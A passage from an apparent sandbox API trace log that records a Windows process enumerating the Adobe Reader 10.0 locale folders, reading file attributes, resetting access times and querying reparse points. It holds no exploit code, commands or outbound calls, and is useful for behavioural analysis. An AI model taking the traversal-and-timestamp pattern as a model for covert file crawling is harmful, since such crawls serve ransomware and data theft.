dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8077d300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.SKY", cAlternateFileName="")) returned 1 [0082.584] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128fdc8 [0082.584] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.585] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0082.585] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.587] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.587] NtClose (Handle=0x168) returned 0x0 [0082.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128fdc8) returned 1 [0082.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128fdc8 [0082.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128fed0 [0082.589] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0082.589] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.589] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128ffd8 [0082.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cde8 [0082.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12900e0 [0082.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.591] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ce08 [0082.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12901e8 [0082.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.594] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.594] GetLastError () returned 0x12 [0082.594] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0082.594] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.594] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.594] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.594] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.594] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.594] GetLastError () returned 0x12 [0082.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128fed0) returned 1 [0082.594] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128ffd8) returned 1 [0082.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128fdc8) returned 1 [0082.595] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SKY", cAlternateFileName="")) returned 1 [0082.595] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.SKY", cAlternateFileName="")) returned 1 [0082.595] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.SKY", cAlternateFileName="")) returned 1 [0082.595] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.SKY", cAlternateFileName="")) returned 0 [0082.595] GetLastError () returned 0x12 [0082.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.595] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.596] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1 [0082.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.597] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0082.597] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.598] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.598] NtClose (Handle=0x16c) returned 0x0 [0082.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.599] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0082.600] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.600] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.SLV", cAlternateFileName="")) returned 1 [0082.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ce28 [0082.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128fdc8 [0082.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.602] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.SLV", cAlternateFileName="")) returned 1 [0082.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ce48 [0082.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128ffd8 [0082.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.604] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.SLV", cAlternateFileName="")) returned 1 [0082.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ce68 [0082.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128fed0 [0082.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.605] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x75800, 